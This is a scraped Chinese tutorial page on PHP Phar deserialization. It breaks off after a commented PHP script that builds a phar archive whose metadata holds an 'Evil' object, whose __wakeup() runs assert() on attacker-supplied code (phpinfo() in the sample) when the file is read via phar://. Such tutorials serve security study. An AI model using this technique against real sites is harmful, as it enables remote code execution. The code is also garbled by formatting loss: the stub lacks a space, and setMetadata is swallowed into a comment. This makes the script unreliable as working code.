当前位置: 首页 > news >正文

【Phar反序列化】 - 教程

Phar简介

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
接下来简单了解phar的生成和结构,生成代码如下:

<?php
/**
* Phar文件生成示例代码
*/
// 引入一个关键的类文件。这个文件里定义了一个名为 Evil的类
// Evil类包含一个 __wakeup()魔术方法
// 该方法会使用 assert()执行代码(如 phpinfo()),这是反序列化漏洞的关键。
require_once('class.php');
// 创建一个Evil对象实例,传入参数'phpinfo()'
// 这个参数会被存储在 Evil对象的 $val属性中,后续在反序列化时通过 assert($this->val)执行。
$exception = new Evil('phpinfo()');
// 创建一个名为"jn.phar"的Phar归档文件对象
$phar = new Phar("jn.phar");
// 开始缓冲Phar写入操作,提高处理效率
$phar->startBuffering();
// 向 PHAR 文件中添加一个虚拟文件 test.txt,内容为 "test"。
// 这是 PHAR 格式的要求(必须包含至少一个文件),但本身不是攻击的重点。
$phar->addFromString("test.txt", "test");
// 设置Phar文件的存根(stub) - 这是Phar文件的执行入口
$phar->setStub("<?php__HALT_COMPILER(); ?>");// 设置Phar文件的元数据为之前创建的Evil对象//将 Evil对象设置为 PHAR 文件的元数据。元数据会被自动序列化并嵌入 PHAR 文件中。// 当 PHAR 文件通过 phar://协议被读取时(例如 file_exists('phar://jn.phar'))// 元数据会被反序列化,触发 Evil::__wakeup()方法,从而执行 assert('phpinfo()')。$phar->setMetadata($exception);// 结束缓冲,将所有操作写入磁盘,生成Phar文件
http://www.jsqmd.com/news/8117/

相关文章:

  • 完整教程:AI时代如何高效学习Python:从零基础到项目实战de封神之路(2025升级版)
  • cannot resolve method add in T 及 T 泛型类型生成Excel文件,区别是数据Model不同
  • MySQL慢查询深度解析:从诊断到优化的完整指南 - 实践
  • 手写MyBatis第88弹:从XML配置到可执行SQL的完整旅程 - 教程
  • 测试环境elasticSearch数据泄露排查
  • 深入解析:Spring boot中 限制 Mybatis SQL日志的大字段输出
  • 【AI时代速通QT】第九节:揭秘Qt编译全流程-从.pro材料到可执行程序
  • 考试心得5
  • 实用指南:Transformer模型:深度解析自然语言处理的革命性架构——从预训练范式到产业级实践
  • PocoEmit遥遥领先于AutoMapper之打通充血模型的任督二脉
  • Solar9月赛wp - 场
  • Elastic Search 安装部署最全教程(Docker)
  • 深入解析:Playwright同步、异步、并行、串行执行效率比较
  • Linux基础开发工具 --- vim - 详解
  • 2025十一集训——Day2模拟赛
  • 完整教程:ARM Cortex-M:内存保护单元 (MPU) 发布
  • 【Clion】【文件编码】Clion内置控制台中文字体乱码的解决方案及编码格式调整
  • Qt纯代码实现智能安防集中管理平台/楼宇对讲管理系统/门禁管理/视频监控
  • 汉文博士词典库源文件已在 github 开放
  • 读人形机器人30未来20年
  • Flutter + Ollama:开启本地AI的全平台新纪元 —— 从零剖析一款现代化AI客户端的技能奥秘
  • 产业园区招商团队快躺平了 - 智慧园区
  • DaYe-PhotoStudio-2 v2.0.0 安装教程(64位/AMD64)详细步骤
  • 股票资料API接口全解析:从技术原理到多语言实战(含实时行情、MACD、KDJ等技术指标数据与API文档详解)
  • 洛谷 P3545
  • 威胁狩猎实战:终端攻击行为分析与检测
  • 2024年全国大学生信息安全竞赛安徽省赛网络高效的系统建设与运维赛项-网络构建真题
  • 详细介绍:BPEL:企业流程自动化的幕后指挥家
  • 实用指南:基于Hadoop+Spark的人体体能数据分析与可视化系统开源实现
  • 基于Hadoop的肾脏疾病风险分析系统架构设计精髓 - 实践